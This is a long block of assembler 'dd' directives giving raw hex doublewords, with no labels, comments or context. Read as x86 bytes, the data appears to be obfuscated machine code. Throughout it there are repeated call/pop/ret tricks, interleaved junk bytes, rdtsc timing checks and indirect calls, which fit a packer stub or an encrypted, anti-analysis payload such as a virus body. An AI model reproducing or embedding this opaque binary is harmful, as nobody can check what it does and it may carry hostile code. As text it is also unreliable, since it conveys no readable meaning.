		dd 0F4A5BA5Dh, 8B1926CFh, 2C0FE99Dh, 9858D06h, 6A062C4Fh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 71F6C353h, 9031C0EBh, 45B9BA66h, 52525050h
		dd 0F5BD38Bh, 0DF8B6631h, 6A90585Ah, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0BA45C350h
		dd 2B94E6FDh, 9C7B96Eh,	2C022985h, 995FF06h, 0F062C16h
		dd 38Eh, 0AAC38000h, 6A0CC483h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 0AE86C355h,	1538FCC5h
		dd 0F74A7A2h, 0B82h, 6E900h, 0E5670000h, 2C5D96E7h, 4F09858Dh
		dd 6A062Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 695F91C3h, 2DA00307h, 10E8B3h, 35F0000h
		dd 0C579B4B8h, 0AAC8134Dh, 0C2E5CF9h, 958B0574h, 62C0DC9h
		dd 0F48A505Bh, 8B240489h, 2C11B195h, 89026A06h,	2C24AD95h
		dd 1495FF06h, 6A006AEDh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 619EC351h, 0F7A5C85h
		dd 138Eh, 0EE900h, 7C8F0000h, 22A387FBh, 0B8F103E6h, 0CFC593E2h
		dd 85C7FC61h, 62C4F3Ch,	1, 0AE8h, 0F76AAE00h, 3ED6BEAFh
		dd 0B3564868h, 9D295A9Dh, 62C2CA9h, 0F78B6096h,	0B810Fh
		dd 6E90000h, 19000000h,	795630D2h, 8B506107h, 8D0996D0h
		dd 62C3149h, 0BDBD8950h, 5A062C22h, 4EEDB589h, 6A062Ch
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 0AED9F8C3h, 0BD9F56h, 0A1BD8319h, 1062C09h, 56850Fh
		dd 958B0000h, 62C2345h,	0F05F883h, 4785h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h
		dd 10909F53h, 0A6C7708h, 1221958Bh, 0B8062Ch, 0E9000000h
		dd 14h,	0FD0BF54Dh, 0CA4AECCDh,	0E6CFB416h, 22A8A756h
		dd 0E30A9FADh, 2C71BD83h, 0F00062Ch, 3284h, 3820F00h, 57000000h
		dd 0B7605AF9h, 7195FF39h, 0F9062C2Ch, 13E9h, 0C9669600h
		dd 657F6255h, 3F70009Eh, 0EE8F3B4Ah, 35381C0Bh,	0D98D8961h
		dd 83062C30h, 2C1A35BDh, 840F0006h, 16h, 6AD9D03h, 0B8062Ch
		dd 0E9000000h, 6, 1F510EECh, 6A603BB1h,	3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0ED36C355h
		dd 0D1BF0F03h, 13799589h, 858B062Ch, 62C0189h, 7AEA8166h
		dd 2C08385h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	36C35646h, 39227C88h, 8BBF2252h, 2C12659Dh, 0E5858906h
		dd 6A062C4Eh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 5716C355h, 5E7D54C9h, 7C7AFB31h
		dd 6AFF00C6h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 3D43C356h, 0FB97990Ah,	0AD85C6F9h
		dd 53062C21h, 89A9BB66h, 4E8h, 0B148D800h, 5050B7FCh, 50525060h
		dd 5A310F52h, 0BF310F58h, 5296EEDCh, 850F585Ah,	2, 8B61F38Bh
		dd 8A042444h, 0E8008BD8h, 0Ch, 906537Ch, 99CB7383h, 7ECAA2F6h
		dd 9E8h, 0E924FF00h, 0E0EAF838h, 5B5A1DB2h, 4244489h, 58D98B66h
		dd 1151BD89h, 0B5FF062Ch, 62C073Dh, 8DD98B66h, 2F860C85h
		dd 0A5BD8906h, 50062C29h, 1DBD958Bh, 0FF5A062Ch, 0E98509D0h
		dd 89062C15h, 2C26B185h, 0DA8B6606h, 10E9h, 0AE21C000h
		dd 8CB45DAEh, 6BC2424h,	0CA6F6B6Ch, 85BD8319h, 1062C20h
		dd 9B850Fh, 0BA660000h,	3161D8F8h, 2C1C7D95h, 0AD85C606h
		dd 45062C21h, 0E38166F9h, 0F868C2DFh, 0FEF25FDh, 383h
		dd 0DF8B6600h, 3A243481h, 663545C5h, 0B5FFD98Bh, 62C073Dh
		dd 58C0Fh, 14BB0000h, 8D0ED11Ch, 2F860C85h, 5AF95306h
		dd 21C1B589h, 0D0FF062Ch, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 57C35141h, 7E4FDA13h,	0BD29C41Fh, 62C1145h
		dd 9D23006Ah, 62C0DBDh,	12E9D0FFh, 0BE000000h, 0A2BA8854h
		dd 3BA683E6h, 7B7B3E3Bh, 0AB5E9786h, 3DBD836Eh,	1062C26h
		dd 141850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 0A7A8D2C3h, 0B91D149Ah, 811F2D54h
		dd 0A6D0B5C3h, 89858B18h, 0E8062C01h, 13h, 7EC4F07Dh, 0B14C88A6h
		dd 0DE942BCAh, 1DA46258h, 0F888E149h, 0C0E95Bh,	0FE80000h
		dd 1B000000h, 0B4270982h, 3D38542Eh, 831B8121h,	905BFFC5h
		dd 13E9h, 29EBE800h, 0C02D0763h, 0AC1B0C63h, 0EEBFD691h
		dd 7007D0BBh, 0CE85250h, 0EB000000h, 0D0A6960Eh, 1E9AF98h
		dd 8B0DE3C1h, 905A5AD8h, 0D08B6651h, 6A146A5Ah,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 0B608C357h, 95FF61A4h, 62C26B1h, 10E8h, 0B50EE800h
		dd 0F1248726h, 0AB83019Bh, 534AC79Dh, 0FE9F4h, 81C70000h
		dd 0B95A5241h, 0AD5B68Bh, 8F7BA2A1h, 9D2B5A2Eh,	62C1B11h
		dd 56006A58h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 38809159h, 4C850F00h, 0FFFFFFFh,	0C6D1BFh
		dd 57006A01h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 9D157556h, 610A7F81h, 538971BAh,	79BD833Eh
		dd 62C0Fh, 3D840Fh, 0BA660000h,	0FF6AC478h, 0EE9h, 0CC7BE900h
		dd 0F2442EE4h, 9AD5C681h, 0F95AA0DAh, 26B195FFh, 0B589062Ch
		dd 62C10D1h, 6880Fh, 85090000h,	62C006Dh, 0FFFFCDE9h, 6D958BFFh
		dd 0C7062C24h, 2C0F7985h, 106h,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 51EDAC77h, 0F0104FCh, 8589D0B7h,	62C4EF1h
		dd 2A5E6EBAh, 850F9035h, 2, 9050D98Bh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 0B4C35747h,	0AFF1100Fh, 8B22A6C8h
		dd 0DCBA6660h, 0F056A98h, 858DDEB7h, 62C4F09h, 7398D89h
		dd 0E381062Ch, 2798DC0Ch, 89D38B50h, 0F522404h,	28Eh, 5AD98B00h
		dd 4EF9858Dh, 0BEBA062Ch, 503BEF4Ch, 4899DB6h, 95FFF824h
		dd 62C0619h, 8D8DF48Ah,	62C794Ah, 3820F60h, 0F000000h
		dd 8B60FEB7h, 2C1BE59Dh, 158D0906h, 61062C0Ah, 74C00B61h
		dd 9858D11h, 50062C4Fh,	8589D1FFh, 62C4F27h, 85C70AEBh
		dd 62C4F27h, 0FFFFFFFFh, 958BD98Bh, 62C19F9h, 2B1D9D89h
		dd 8161062Ch, 0BE110BEBh, 0AD85C67Eh, 4D062C21h, 2C5D9D89h
		dd 2F68062Ch, 8A9B0A09h, 243481F9h, 3F3F7F87h, 13E9h, 0D8732200h
		dd 0B0467390h, 25206D6Ch, 0A710F5B0h, 420C7C32h, 3121B5FFh
		dd 0B70F062Ch, 0C858DDBh, 6A062F86h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 2893C356h
		dd 9D8B456Ch, 62C0A4Dh,	0B558529h, 0D0FF062Ch, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0FAC35040h, 0ACBBB086h
		dd 8957D832h, 2C143585h, 0E9BD8906h, 0C6062C07h, 2C21AD85h
		dd 6A4506h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 0CAD5F6C3h, 90683297h, 0B7499580h, 24048118h
		dd 44DCE8D9h, 68C0Fh, 8D890000h, 62C0195h, 73DB5FFh, 9D8B062Ch
		dd 62C2D49h, 860C858Dh,	0BD09062Fh, 62C1365h, 6AD0FFh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 17B4CC3h, 0F3809F63h, 18589C9h, 66062C24h, 860FD08Bh
		dd 2, 0D28B42B6h, 664EC780h, 0D38BD98Ch, 0F04C1F6h, 27284h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 823E300Ah, 0E97B8F0Eh, 9, 0BCD0CA34h, 0FB733332h
		dd 155E90Ch, 958B0000h,	62C0049h, 1195B58Bh, 9D8B062Ch
		dd 62C04A9h, 1180C681h,	6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 8989D4C3h, 2C0CE19Dh
		dd 0C1BD8306h, 62C0Eh, 2B850Fh,	0DDE90000h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 6677C351h, 8B4B0FBAh, 2C261195h, 3E8306h
		dd 0AE840Fh, 9D8B0000h,	62C1991h, 53006A60h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 626023DBh
		dd 0C065E11Ch, 9D8B81EBh, 62C0F0Dh, 31818D89h, 146A062Ch
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 3C35040h
		dd 0E968BBA6h, 10h, 33CD7AD2h, 0A2F1ADF4h, 0FB3832ABh
		dd 0F1F41753h, 26B195FFh, 6653062Ch, 0FC5BD38Bh, 0E9D78B61h
		dd 0FFFFFF75h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Bh,	0ABC35141h, 799797C5h, 8BE7AF96h, 2C06359Dh, 9CE8006h
		dd 106C7h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 864767C3h, 0C3B808BBh, 838A6B29h
		dd 2C4EF1BDh, 850F0506h, 0DBh, 8860Fh, 8A0F0000h, 2, 890FEAB7h
		dd 6, 5994F381h, 0B58B6F44h, 62C2401h, 64B9F9h,	6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 9D8E62C3h, 30FDB44Ch, 0FA84EA81h, 3E807278h,	2F840FE8h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 0E9C3C356h, 948666DDh,	0E904038Bh
		dd 1Bh,	22659D8Bh, 7E80062Ch, 840FC205h, 3Fh, 0F5653F8h
		dd 8Fh,	465B5A00h, 1DB19501h, 0B529062Ch, 62C2941h, 9F850F49h
		dd 0FFFFFFFh, 381h, 66CE8000h, 1EE9h, 0DE900h, 7CA20000h
		dd 675EBB1Ch, 0D2258A18h, 89D71224h, 2C1BC1B5h,	0C59D8B06h
		dd 58062C20h, 2800Fh, 0F18A0000h, 1019BD83h, 0F00062Ch
		dd 0E384h, 719D8B00h, 60062C1Ch, 81F2EA80h, 1C35F4EAh
		dd 0AD85C67Bh, 54062C21h, 7E8h,	0CE0AE000h, 31C13FCDh
		dd 0CE9h, 0A4A79200h, 637F70C0h, 1247837Dh, 10E95A48h
		dd 20000000h, 9E09CB03h, 612C8C9Ch, 5A6CE7CBh, 68014453h
		dd 0AD85085Fh, 15AFBA66h, 0AB243481h, 8152CBB6h, 0DC77BCCBh
		dd 3DB5FF7Bh, 89062C07h, 2C23FD9Dh, 0C858D06h, 89062F86h
		dd 2C1B1DBDh, 23D0FF06h, 2C290995h, 6A006A06h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 0FF9AC355h, 2C1019B5h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 0FA51C86h
		dd 685h, 0F9850900h, 0FF062C05h, 698529D0h, 61062C22h
		dd 23998589h, 958B062Ch, 62C09B9h, 207185C7h, 1062Ch, 0DE90000h
		dd 0E7000000h, 8E67E4B3h, 20B21508h, 9E1AA6B0h,	71986860h
		dd 0F5210B4h, 58Eh, 779BBB00h, 815A3728h, 71182434h, 6AF510B4h
		dd 51006AFFh, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 0AC3406D4h, 80160B98h, 95FFE1C7h, 62C0029h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0ABC35747h
		dd 0B4BA450h, 0B529A4FBh, 62C149Dh, 99D8961h, 0E8062C12h
		dd 0Fh,	4019BFF7h, 0B06591CDh, 0C02E28B5h, 66ED281Ah, 0D65DD381h
		dd 489505Bh, 50006A24h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1A04h, 0C3504000h, 354A59BEh, 60ED0968h, 579EE381h
		dd 0D98144DAh, 5AE1E453h, 0AD9D8B61h, 8B062C18h, 2C10C585h
		dd 0BD78B06h, 14840FC0h, 8B000000h, 2C1A959Dh, 5595FF06h
		dd 9062C27h, 2C256995h,	0C7D98B06h, 2C07A185h, 106h, 75BA6600h
		dd 41BD8315h, 62C20h, 2E840Fh, 8F0F0000h, 6, 1E2D958Bh
		dd 95FF062Ch, 62C1121h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 34C35343h, 2B91BD83h,	0F00062Ch, 3384h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 0FA62DEDEh, 0F2B766ACh, 7D958B22h, 0FF062C24h
		dd 2C051595h, 0D08B6606h, 14BDBD83h, 0F00062Ch,	4584h
		dd 0D3B70F00h, 83DBB70Fh, 2C0169BDh, 850F0006h,	32h, 3ED2F381h
		dd 95FF2B2Ah, 62C24E1h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 19h, 51C35545h, 1BBC876Eh,	0F381663Ch, 0BD83D82Dh
		dd 62C1141h, 72840F00h,	6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0A1F2C353h
		dd 952537Ah, 2C1A6DBDh,	815A5B06h, 2C069185h, 400306h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 1763400h, 81DABA50h, 2C343D85h, 400306h
		dd 0BE800h, 71CE0000h, 35D3FAD3h, 21DDF07h, 7C6801Dh, 6A310F5Ah
		dd 3E85700h, 20000000h,	895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 0D518C357h,	3850F7Ch
		dd 66000000h, 8D8DD38Bh, 62C5EE9h, 189BBB7h, 21859D8Bh
		dd 9589062Ch, 62C05DDh,	13E9C233h, 2C000000h, 58870A0Bh
		dd 0E5653445h, 196237FDh, 0AD3650CDh, 9D8B17ABh, 62C09CDh
		dd 89044189h, 2C0ED985h, 0F9310F06h, 5F158D8Dh,	6A062Ch
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 0F59D5C3h, 18Dh, 189F800h, 719958Bh,	0C233062Ch, 44189F8h
		dd 10919D8Bh, 0BD83062Ch, 62C1DCDh, 29840F00h, 0B000000h
		dd 2C0E7195h, 1595FF06h, 6A062C13h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0EDF5C351h
		dd 2DB9BD83h, 0F01062Ch, 4C85h,	9D8BF900h, 62C0EA1h, 40E9h
		dd 6870F00h, 89000000h,	2C29958Dh, 0F5952906h, 8B062C2Dh
		dd 2C6026B5h, 6C706h, 8B000000h, 2C5DE7B5h, 6C706h, 0CF000000h
		dd 0A8F0Fh, 8F0F0000h, 4, 0EA82BB66h, 604092BAh, 0A1BD832Fh
		dd 62C07h, 126840Fh, 958B0000h,	62C342Dh, 1111BD83h, 0F01062Ch
		dd 0DC85h, 0B70F5000h, 8D8B5AD2h, 62C4EE5h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 75C35646h, 0D18EEE28h
		dd 530E1EC9h, 6840F38h,	8B000000h, 2C00A19Dh, 1C606h, 24E59D03h
		dd 0F60062Ch, 385h, 0D38B6600h,	0C762368h, 3820FAEh, 66000000h
		dd 481D08Bh, 0F38A5D24h, 6AD48A51h, 8D89FCFFh, 62C127Dh
		dd 2995FFh, 0DBBB062Ch,	0E9331F59h, 0Bh, 93476ADEh, 838EB0D8h
		dd 6179A4CEh, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 17h,	2DC35747h, 891523FEh, 2C06ADBDh, 2595FF06h, 8B062C1Bh
		dd 2C196195h, 81665606h, 5AA7E8DAh, 4EE58D8Bh, 8D29062Ch
		dd 62C0521h, 0BD8901FEh, 62C1FB9h, 0A2EC5EBBh, 99BD8343h
		dd 1062C24h, 2A850Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 0B2BDF1C3h, 0B459531h
		dd 9533062Ch, 62C2E01h,	0D381C08Bh, 756EA7FAh, 1D65BD83h
		dd 7500062Ch, 0D9BD8309h, 62C23h, 53501A74h, 858BC08Bh
		dd 62C0691h, 6918589h, 9D8D062Ch, 62EB16Ch, 585BD3FFh
		dd 23D9BD83h, 7400062Ch, 8B535018h, 2C069185h, 91858906h
		dd 8D062C06h, 2EAE5B9Dh, 5BD3FF06h, 10800F58h, 0E9000000h
		dd 0Bh,	0D895A779h, 9BCD5292h, 0F96123Dh, 9D8BDBBFh, 62C0D95h
		dd 0B509C08Bh, 62C1919h, 7A1BD83h, 0F00062Ch, 4885h, 5810F00h
		dd 0BB000000h, 6E921711h, 1D51BD83h, 0F00062Ch,	3084h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 6375EC46h, 435F2B73h, 81668391h,	23D682D3h
		dd 2C079D9Dh, 0A1BD8306h, 62C07h, 55840Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 421C55C3h, 6F8A5A4Dh, 0F701E33h, 688h, 55858900h, 83062C0Bh
		dd 2C137DBDh, 840F0006h, 17h, 118B0Fh, 0CE90000h, 0CC000000h
		dd 77DA2B70h, 0EDF8014Eh, 8370F745h, 2C07A1BDh,	840F0006h
		dd 18h,	83D18B66h, 2C137DBDh, 840F0006h, 8, 9523D38Bh
		dd 62C2089h, 7A1BD83h, 0F00062Ch, 1B84h, 7BA6600h, 0D9BD8387h
		dd 62C13h, 0A840Fh, 0D68B0000h,	2840Fh,	0D98B0000h, 7A1BD83h
		dd 0F00062Ch, 4584h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 360C10D4h, 8ACC2281h
		dd 51BD83D3h, 62C2Bh, 14840Fh, 0BF0F0000h, 1995FFD7h, 0E9062C2Bh
		dd 6, 2105F7C0h, 0C08B9739h, 0B6D38166h, 65BD83CFh, 62C1Dh
		dd 0BD830975h, 62C23D9h, 501A7400h, 8BC08B53h, 2C343D85h
		dd 3D858906h, 8D062C34h, 2EB1D39Dh, 5BD3FF06h, 0D9BD8358h
		dd 62C23h, 53501874h, 343D858Bh, 8589062Ch, 62C343Dh, 0AE749D8Dh
		dd 0D3FF062Eh, 8166585Bh, 5297D1DAh, 0E9C08B5Bh, 0Fh, 0F38E601Fh
		dd 9827AD3Ah, 0D087527Ch, 83EF54F3h, 2C07A1BDh,	840F0006h
		dd 377h, 8308F780h, 2C2085BDh, 840F0206h, 1Eh, 14E1BD09h
		dd 0BD83062Ch, 62C2DB9h, 0B850F01h, 9000000h, 2C01B5B5h
		dd 887ABA06h, 6A6018B0h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 66A3C351h, 3F8653FCh
		dd 8D8B0B00h, 62C4EE5h,	21119589h, 1FE062Ch, 8E8h, 8DC2E600h
		dd 940550F2h, 0AE940h, 9F240000h, 8E81EA7Bh, 33417002h
		dd 19FC685Ah, 6E9CA7Eh,	5000000h, 131E94EBh, 240481D3h
		dd 3581E684h, 12D8529h,	0FF6A062Ch, 13DD9D8Bh, 95FF062Ch
		dd 62C0029h, 12A59523h,	8B61062Ch, 0DDBD8DD8h, 0F062C0Bh
		dd 4F8BDEBFh, 0DA8B661Ch, 0D381016Ah, 15BD0783h, 50535691h
		dd 5A310F52h, 505B5B58h, 6E8h, 1CE48A00h, 0E8C9D483h, 0Eh
		dd 20B77436h, 4443E44Fh, 61DBBF1h, 61601D23h, 80915A5Ah
		dd 858DA3DFh, 62F403Fh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 70C35646h, 0B0FEE8ABh, 0E19BD09h, 0D0FF062Ch
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 60C35747h
		dd 4F8BCC45h, 8F0F6020h, 6, 8A0Fh, 0AE90000h, 1A000000h
		dd 6310F14Bh, 0DB65AADCh, 36A61FDh, 7E960h, 0B1B30000h
		dd 0FF833567h, 9161FCADh, 14E9h, 4055B700h, 821B3A29h
		dd 2EB42709h, 213D3854h, 0C5831B81h, 0BB6650FFh, 6A91F2C6h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 4C0DC350h, 14F0384h, 0E38071EFh, 3F858DA4h
		dd 51062F40h, 999D0960h, 0B7062C0Eh, 0FF5B612Eh, 57006AD0h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 0BD8DA0F2h, 62C0BDDh, 772DBA66h, 0BA1C4F8Bh,	2D8B0C44h
		dd 16A42B7h, 15C9BD29h,	50FC062Ch, 51DFB060h, 810Fh, 615E0000h
		dd 89240C89h, 2C1A3DB5h, 3F858D06h, 0E9062F40h,	0Fh, 6F6506B7h
		dd 0BD72B164h, 137EFBF5h, 0FF0CE233h, 0D3BF0FD0h, 163D8D89h
		dd 4F8B062Ch, 55006A20h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 0F9036A16h, 890F5091h, 6,	0C7BB6653h
		dd 0E8915AEDh, 0Bh, 0BB6707CDh,	0ACF5F4FBh, 3DB7DEBh, 2C1A659Dh
		dd 858D5B06h, 62F403Fh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 52C35747h, 5061236Ah,	8B3A6EDAh, 2C22719Dh
		dd 8BD0FF06h, 2C1CC595h, 0E4DB8106h, 8B09D382h,	2C4EE58Dh
		dd 0DBD8906h, 0FE062C1Dh, 53006A01h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 0E33F9F08h
		dd 0DA8B66F3h, 2339958Bh, 858B062Ch, 62C4EE5h, 0EE9h, 636A1200h
		dd 3BACB7Eh, 884A9A65h,	0FE152240h, 6A9EB600h, 0D18DBA01h
		dd 0EC680D72h, 50B0B8F7h, 8E952h, 989A0000h, 7637A179h
		dd 310F43B2h, 0CE85250h, 7D000000h, 0C0AE5B4Fh,	0EBC5E79Ah
		dd 5AABF1D4h, 0E5BA310Fh
		dd 5A78D021h, 81585A58h, 0A8132404h, 27B74F46h,	4049858Dh
		dd 8D31062Fh, 62C336Dh,	3EBBD0FFh, 83651924h, 2C1D51BDh
		dd 840F0006h, 0F5h, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 17h, 3FC35545h, 89BF1B5Dh,	2C14E1B5h, 28C0F06h
		dd 0B2000000h, 0A1BD8324h, 1062C09h, 0BB850Fh, 14E90000h
		dd 14000000h, 5D27D830h, 0B04E0433h, 0FF2C82E4h, 0B0121F9Ch
		dd 8D0AA7D8h, 2F40538Dh, 0F1B58906h, 6A062C0Dh,	0ECE78003h
		dd 6A016Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 0C418D1C3h, 80364DE6h, 6AD1FFEBh,	5E901h
		dd 0F3140000h, 6A8010D8h, 52006A01h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 1D31A8ECh
		dd 9D0B5474h, 62C1CCDh,	6AD1FFh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 0A7E6CEC3h, 660648B8h
		dd 7AADF281h, 25E8F38Ah, 81FA2F6Eh, 17F5EFD2h, 80206A6Eh
		dd 0D68B44CEh, 960FF6Ah, 2C2CED85h, 95FF6106h, 62C0029h
		dd 0B882B3h, 0F8000000h, 840FC00Bh, 57h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 17h, 9DC35242h, 0BBEFD641h
		dd 607A6E18h, 13E9h, 4EE36C00h,	39C81815h, 0D6AB66D8h
		dd 0DA736421h, 4F3FDBAFh, 239DBD83h, 0F00062Ch,	0E84h
		dd 22D38000h, 29D595FFh, 8166062Ch, 8B8992EAh, 2C018985h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 0FE889h,	31750000h, 0AD5F7540h, 69A43E7Ah
		dd 0FC473DEEh, 0D8BF0FA2h, 0C65Ah, 18D19D8Bh, 870F062Ch
		dd 6, 21198D89h, 6A58062Ch, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 63FDC356h, 36BFEE7Bh
		dd 1FF5BD89h, 0D08B062Ch, 66D98B66h, 8166D98Ch,	0F65CC9DBh
		dd 840F04C1h, 54h, 18E98589h, 49E9062Ch, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 0D72FC357h, 0B58BD98Bh, 62C1195h, 22659589h,	0C681062Ch
		dd 1180h, 6810Fh, 9D8B0000h, 62C23EDh, 6C7h, 95230000h
		dd 62C11A5h, 2890F5Eh, 8A000000h, 0F883DAh, 0AF6840Fh
		dd 0E8600000h, 6, 5BDB5BCAh, 0B70FE1EAh, 0B70F5EF1h, 0DE8A61FBh
		dd 0F01F883h, 15085h, 54CEBB00h, 0B83030h, 0E9000000h
		dd 5, 18E62974h, 15B589C3h, 0B062C12h, 0D6840FC0h, 89000000h
		dd 2C0A998Dh, 1F88306h,	0DD840Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0AFC533C3h
		dd 0E793845Ch, 0F883D124h, 75840F03h, 0F8000000h, 6AC02Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 0AE749FC3h, 0B885454Bh, 894B80D6h, 2C24CD85h, 0E0BD8D06h
		dd 6A005B89h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 0F150C353h, 0DE8B60EFh, 12E9h
		dd 93AC700h, 0F10E4C8Fh, 0A853FEDDh, 0F1C2A27Eh, 61D17EC9h
		dd 9D23E7FFh, 62C0DB5h,	1B8h, 880F6000h, 2, 8B66CE8Bh
		dd 0BD8D61CEh, 5B89E0h,	14B9B529h, 0E7FF062Ch, 77E0D2BBh
		dd 71BD8D5Fh, 0BA062C45h, 68B39B2Fh, 223E9h, 0B1958B00h
		dd 0C7062C0Dh, 2C4F4085h, 506h,	5B800h,	89520000h, 2C1DA99Dh
		dd 85095A06h, 62C0A99h,	93DE9h,	57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 88099D4Dh
		dd 2F883FCh, 0CD850Fh, 6A0000h,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 0E8292EC3h, 0FF98F5Ch
		dd 489h, 52BA6600h, 0B806h, 7E90000h, 0DD000000h, 470FA121h
		dd 0C00B3EBEh, 75840Fh,	6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 66BC5CC3h, 9CF1C381h
		dd 24D99D8Bh, 0F883062Ch, 40840F01h, 0FCFFFFFFh, 0F03F883h
		dd 0FFFEFB84h, 81B589FFh, 89062C04h, 2C0BC985h,	8BC02B06h
		dd 2C101595h, 0E0BD8D06h, 0E9005B89h, 11h, 257305B9h, 0E0204261h
		dd 0E0165E48h, 4B7FC82Eh, 19B53164h, 0FF062C1Bh, 8DD78AE7h
		dd 2C4769BDh, 0B496BA06h, 9E94E8Fh, 66000001h, 832941BBh
		dd 850F03F8h, 2Bh, 0D25958Bh, 0BD8D062Ch, 62C48FDh, 2890Fh
		dd 0DFB60000h, 7E9h, 0B6FA8C00h, 1897F0A6h, 0D7E9h, 95858900h
		dd 83062C1Ch, 850F05F8h, 0Ch, 804E9F8h,	0F2810000h, 794888E4h
